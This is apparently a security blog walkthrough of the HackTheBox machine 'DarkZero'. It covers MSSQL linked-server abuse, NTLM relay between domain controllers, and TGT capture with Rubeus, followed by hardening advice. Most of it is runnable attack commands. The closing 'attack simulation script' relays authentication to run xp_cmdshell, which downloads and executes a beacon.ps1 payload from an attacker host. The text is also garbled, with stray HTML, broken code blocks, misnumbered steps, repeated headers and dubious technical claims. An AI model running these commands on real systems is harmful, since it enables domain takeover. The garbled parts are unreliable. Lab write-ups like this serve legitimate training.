DarkZero Decrypted: How MSSQL Linked Servers And TGT Delegation Lead To Full Domain Compromise + Video

Introduction:

In modern Active Directory environments, MSSQL linked servers and Kerberos delegation misconfigurations create silent but devastating attack paths. The recently retired HackTheBox machine “DarkZero” demonstrates a realistic chain: starting with MSSQL credentials, attackers pivot across linked databases, abuse different logon types to bypass SeImpersonate restrictions, and finally leverage TGT delegation to capture a Domain Controller’s ticket—achieving full domain compromise without ever touching LSASS.

Learning Objectives:

Understand how MSSQL linked servers can be enumerated and abused for lateral movement.
Learn to bypass SeImpersonate mitigations using alternative logon types and named pipe impersonation.
Execute a TGT delegation relay attack between two Domain Controllers via MSSQL triggers.

You Should Know:

1. Enumerating MSSQL Linked Servers with Impacket

The first step in DarkZero is discovering linked MSSQL servers. Using the initial credentials (e.g., svc.sql), we query the target for linked servers and their associated privileges.

Linux (impacket):

impacket-mssqlclient -windows-auth DOMAIN/svc.sql:'Password123'@10.10.10.10
SQL> SELECT srvname, srvproduct, providername FROM master..sysservers;
SQL> EXEC('SELECT @@servername, system_user') AT [bash];

Windows (SQLCMD):

sqlcmd -S 10.10.10.10 -U DOMAIN\svc.sql -P 'Password123' -Q "SELECT  FROM master..sysservers"

Step‑by‑step:

Connect to the initial MSSQL instance using compromised credentials.
Run `sysservers` query to list all linked servers (e.g., DC01\SQL).
Execute commands on each linked server using `EXEC … AT
```
` to check privilege levels.</li>
<li>Identify which linked server runs as a high-privilege service account.</li>
</ol>

<h2 style="color: yellow;">2. Bypassing SeImpersonate with Alternate Logon Types</h2>

Windows Server 2019+ and patched systems block traditional SeImpersonate token duplication (e.g., PrintSpoofer, JuicyPotato). However, MSSQL logins using “Windows Authentication with delegation” or “SQL Login with logon type 9” can still yield impersonation.

<h2 style="color: yellow;">Check current logon type (Windows, PowerShell):</h2>

[bash]
Get-WinEvent -LogName Security | Where-Object { $<em>.Id -eq 4624 -and $</em>.Message -match "svc.sql" } | Format-List
```
Abuse with Named Pipe Impersonation (Linux):
```
 Create a malicious named pipe server using impacket
python3 smbserver.py -smb2support share /tmp/
 Force the MSSQL service to connect back via xp_dirtree
SQL> EXEC xp_dirtree '\10.10.14.3\share\test'
```
Why this works: Logon type 9 (NewCredentials) allows the service to act as the user without full SeImpersonate privilege. The MSSQL service account can still impersonate via named pipes or SMB relay, triggering an NTLM hash capture or token.

3. Relaying MSSQL Authentication Between Domain Controllers

DarkZero’s clever twist: relaying authentication from one DC (DC01) to another (DC02) over MSSQL. If DC01’s SQL service account has Trust this user for delegation to any service (Kerberos only), an attacker can force DC01 to authenticate to DC02, capturing a TGT.

Setup a relay listener with ntlmrelayx:
```
impacket-ntlmrelayx -t mssql://DC02.domain.local -smb2support --no-http-server -c "EXEC xp_cmdshell 'whoami > C:\temp\pwned.txt'"
```
Trigger the relay from DC01 via MSSQL linked server:
```
-- On the initial MSSQL (already compromised)
EXEC ('EXEC xp_cmdshell ''dir \DC02\share''') AT [DC01\SQL]
```
This forces DC01’s SQL service account to authenticate to DC02. The relay tool captures the NetNTLM hash and forwards it to MSSQL on DC02, executing the command.

Step‑by‑step relay:
1. Identify that `DC01\SQL` linked server uses a service account with unconstrained delegation.
2. Set up `ntlmrelayx` targeting `mssql://DC02`.
1. Run any SQL command on DC01 that forces an outbound authentication (e.g., xp_dirtree, `xp_cmdshell` connecting to attacker SMB).
2. The relay tool forwards the authentication to DC02’s MSSQL, executing arbitrary commands.
4. Abusing TGT Delegation via MSSQL Triggers

Once you have command execution on DC02 (via relayed authentication), the next step is to monitor for TGT requests. If unconstrained Kerberos delegation is enabled for DC01’s computer account, you can force DC01 to request a TGT to DC02.

Create a trigger on DC02’s SQL Server that captures incoming tickets (Rubeus):
```
 On DC02 (after gaining exec)
Rubeus.exe monitor /targetuser:DC01$ /interval:5 /nowrap
```
Trigger delegation from DC01 (via MSSQL linked server):
```
-- From initial MSSQL connection
EXEC ('EXEC xp_cmdshell ''powershell Invoke-WebRequest -Uri http://DC02''') AT [DC01\SQL]
```
Explanation: DC01’s machine account contacts DC02 for a web request, and because unconstrained delegation is enabled, DC01 sends its TGT in the AP‑REQ. Rubeus monitoring on DC02 captures that TGT. The attacker then uses the TGT to impersonate DC01 and access any service in the domain.

Extract the ticket and pass the ticket:
```
 Using impacket on attacker machine
impacket-ticketConverter captured.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-psexec DOMAIN/[email protected] -k -no-pass
```
5. Mitigating MSSQL Delegation Attacks

To prevent this chain, implement the following hardening steps across all SQL servers and Domain Controllers:

Disable unconstrained delegation for all accounts, especially machine accounts:
```
 Windows: Find accounts with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Set-ADComputer DC01 -TrustedForDelegation $false
```
Enable Kerberos Armoring (FAST) and restrict constrained delegation:
```
 Set up Resource-Based Constrained Delegation (RBCD) instead
Set-ADComputer DC02 -PrincipalsAllowedToDelegateToAccount DC01$
```
MSSQL-specific hardening:
- Disable `xp_cmdshell` and `xp_dirtree` unless absolutely required.
- Run SQL Server services as Managed Service Accounts (gMSA) with limited privileges.
- Enable TLS for SQL Server links and enforce encrypted logins.
6. Full Attack Simulation Script (Linux)
```
!/bin/bash
 DarkZero style attack - ethical use only
TARGET="10.10.10.10"
ATTACKER="10.10.14.3"
USER="svc.sql"
PASS="Password123"

Step 1: Enumerate linked servers
impacket-mssqlclient -windows-auth DOMAIN/$USER:$PASS@$TARGET -query "SELECT srvname FROM master..sysservers"

Step 2: Relay setup
impacket-ntlmrelayx -t mssql://DC02.domain.local -smb2support -c "xp_cmdshell 'powershell.exe -c \"iex (New-Object Net.WebClient).DownloadString(''http://$ATTACKER/beacon.ps1'')\"'" &

Step 3: Trigger relay via xp_dirtree
impacket-mssqlclient -windows-auth DOMAIN/$USER:$PASS@$TARGET -query "EXEC ('EXEC xp_dirtree ''\$ATTACKER\share''') AT [DC01\SQL]"

Step 4: Monitor for TGT (on DC02 after gaining access)
 Use Rubeus or Impacket's getTGT
```
What Undercode Say:
- Key Takeaway 1: MSSQL linked servers are often overlooked as lateral movement vectors; they provide a stealthy way to cross trust boundaries without spawning new processes.
- Key Takeaway 2: SeImpersonate bypasses aren’t dead—logon type 9 and named pipe impersonation keep the attack alive against fully patched Windows servers.
- Analysis: The DarkZero chain demonstrates that Kerberos delegation misconfigurations remain one of the most critical AD risks. Attackers don’t need to dump LSASS; they just need one SQL query to force a DC to hand over its ticket. Defenders must audit `TrustedForDelegation` on all accounts, especially service accounts with MSSQL access, and implement RBCD as the modern replacement. The shift from traditional privilege escalation to “delegation-as-a-service” is already happening in real-world red teams.
Prediction:

Within 18 months, MSSQL-specific attack tooling will merge with Kerberos relay frameworks (e.g., KrbRelay, Kekeo) to automate the DarkZero path end‑to‑end. We predict a surge in “linked server” related CVEs as researchers dig deeper into TGT delegation over database protocols. Defenders will adopt mandatory Kerberos Armoring and start treating SQL linked servers as critical tier‑0 assets, requiring the same monitoring as domain controllers. Meanwhile, purple teams will add MSSQL-to-DC relay scenarios to their breach and attack simulation tools, making this once‑exotic technique a standard test case for enterprise security.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Lineeralgebra One – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky
Share this:

Listen to this Post

Introduction:

Learning Objectives:

You Should Know:

1. Enumerating MSSQL Linked Servers with Impacket

Linux (impacket):

Windows (SQLCMD):

Step‑by‑step:

Abuse with Named Pipe Impersonation (Linux):

3. Relaying MSSQL Authentication Between Domain Controllers

Setup a relay listener with ntlmrelayx:

Step‑by‑step relay:

2. Set up `ntlmrelayx` targeting `mssql://DC02`.

4. Abusing TGT Delegation via MSSQL Triggers

Trigger delegation from DC01 (via MSSQL linked server):

Extract the ticket and pass the ticket:

5. Mitigating MSSQL Delegation Attacks

Enable Kerberos Armoring (FAST) and restrict constrained delegation:

MSSQL-specific hardening:

6. Full Attack Simulation Script (Linux)

What Undercode Say:

Prediction:

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

Share this:

Related Posts: